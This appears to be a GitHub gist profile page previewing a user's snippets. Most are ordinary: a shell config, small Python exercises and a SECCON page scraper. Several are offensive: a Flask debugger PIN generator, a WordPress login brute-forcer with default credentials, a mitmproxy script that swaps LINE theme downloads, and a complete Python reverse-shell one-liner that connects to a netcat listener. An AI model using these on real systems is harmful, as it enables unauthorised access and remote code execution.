Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from home

GreenApple GreeeenApple

🏠
Working from home
View GitHub Profile
@GreeeenApple
GreeeenApple / flask_pin_calc.py
Last active June 1, 2023 01:31
python 3.10 flask app pin generator
View flask_pin_calc.py
import hashlib
from itertools import chain
probably_public_bits = [
"user", # exec username
"flask.app", # default
"wsgi_app", # <= uvicorn, default "Flask"
"/venv/lib/python3.10/site-packages/flask/app.py" # app.py or app.pyc
]
View wp-login.py
import requests
Dest = "http://localhost:8080/{0}"
req = requests.get(Dest.format("wp-login.php"))
cookie_value = dict(req.cookies)
# create post id,pw
login_id = ["test", "wei", "a", "admin", "admin", "admin", "nimda"]
login_pw = ["test", "wei", "a", "admin", "wei", "password", "password"]
View aaa.html
<html>
<body>
<div id="hoge">
<!-- ここにタグ文字がエスケープされた(>や<は&gtや&lt)任意の文字列が入れられる -->
</div>
<script>
function f(){
var txt = document.getElementById("hoge").innerHTML;
txt = txt.replace(/(http:\/\/[\x21-\x7e]+)/gi, '<a href="http://redirect.com/$1" onmousedown="f=' + "'1'" + ';" target=\"_b\">$1</a>');
txt = txt.replace(/(https:\/\/[\x21-\x7e]+)/gi, '<a href="http://redirect.com/$1" onmousedown="f=' + "'1'" + ';" target=\"_b\">$1</a>');
@GreeeenApple
GreeeenApple / hoge.py
Created September 13, 2016 13:14
callbackメモ
View hoge.py
def callback(i, d, z):
z += [i]
def hoge(callback, d=0):
for i in range(10):
callback(i, d=d)
if __name__ == "__main__":
p = []
hoge(lambda x, d, z=p: callback(x, d, z))
View anitubedl.py
import requests
import argparse
import os
parser = argparse.ArgumentParser(description="Anitube Downloader")
parser.add_argument("url", nargs="*",
help="anitube url(list). example:http://a http://b")
parser.add_argument("--path", type=str,
default="/home/{user}/Videos/".format(user=os.environ["USERNAME"]),
help="videos save path. default:/home/user/Videos/")
View gist:58482b4a34e55017050d38b98e67d8ed
## nc -l 8080
## >>> input()
__import__("os").system("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("localhost",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""")
@GreeeenApple
GreeeenApple / lineproxy.py
Created February 16, 2016 19:21
already fixed(?) yo yo
View lineproxy.py
import os
from libmproxy import controller, proxy
from libmproxy.proxy.server import ProxyServer
import commands
def themerequest(flow):
target_host = "dl.shop.line.naver.jp"
target_path = "theme.zip"
replace_path = "/themeshop/v1/products/5b/8f/d2/5b8fd2d0-03ba-45d2-9c81-c5ad9b1abfe0/2/ANDROID/theme.zip"
View .zshrc
#alias python="bpython"
#for i in `seq 5`do echo 1; done
alias ls='ls -CF'
alias s='ls'
alias l='ls -CF'
alias ...='cd ../../'
alias ....='cd ../../..'
alias la='ls -a'
View test2.py
def f(i):
if i == 0:
return 1
else:
return i * f(i - 1)
s = str(f(int(raw_input())))
i = len(s) - 1
while s[i] == "0":
@GreeeenApple
GreeeenApple / ああああああ
Last active October 22, 2015 10:57
ああああ
View ああああああ
import lxml.html
res_html = lxml.html.parse("http://seccon2015.connpass.com/event/21425/").getroot()
target_path = "/html/body/div/div/div/div/div/h4/a"
print(res_html.xpath(target_path)[0].text)